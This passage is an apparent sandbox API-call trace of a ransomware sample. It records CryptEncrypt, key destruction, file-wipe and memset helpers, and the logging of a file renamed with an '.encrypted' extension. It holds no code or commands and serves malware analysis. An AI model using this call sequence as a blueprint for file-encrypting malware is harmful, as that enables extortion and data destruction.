[0021.897] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.897] CharLowerBuffW (in: lpsz="byte[46513]", cchLength=0xb | out: lpsz="byte[46513]") returned 0xb [0021.897] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.897] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.897] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.897] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.898] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.898] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e2ae0*, pdwDataLen=0xe8f3dfdf68*=0xb5a7, dwBufLen=0xb5b0 | out: pbData=0xe8f41e2ae0*, pdwDataLen=0xe8f3dfdf68*=0xb5b0) returned 1 [0021.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.898] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.898] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.898] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.898] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.898] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.898] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.901] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.901] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.901] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.901] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.901] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.903] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0021.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.904] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.904] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.904] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.904] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.904] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.905] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.905] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0021.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.905] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.905] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.908] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.908] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0021.908] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.908] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.916] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.916] CharLowerBuffW (in: lpsz="byte[46503]", cchLength=0xb | out: lpsz="byte[46503]") returned 0xb [0021.917] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.917] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0021.917] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.917] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.918] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.918] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0021.919] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.919] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.919] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.919] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0021.919] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.919] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.919] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.919] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.919] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.919] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.920] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0021.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.920] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.925] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.925] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.925] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.925] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.926] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.926] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.926] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.926] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.926] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0021.926] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=238) returned 1 [0021.926] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.926] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0021.926] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0021.926] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xee, lpOverlapped=0x0) returned 1 [0021.926] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0021.926] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.926] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=238) returned 1 [0021.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0021.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\n", cchWideChar=67, lpMultiByteStr=0xe8f4051cc0, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\n", lpUsedDefaultChar=0x0) returned 67 [0021.926] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069d70*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069d70*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x42, lpOverlapped=0x0) returned 1 [0021.926] CloseHandle (hObject=0x1fc) returned 1 [0021.928] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.928] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.929] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.929] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.929] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 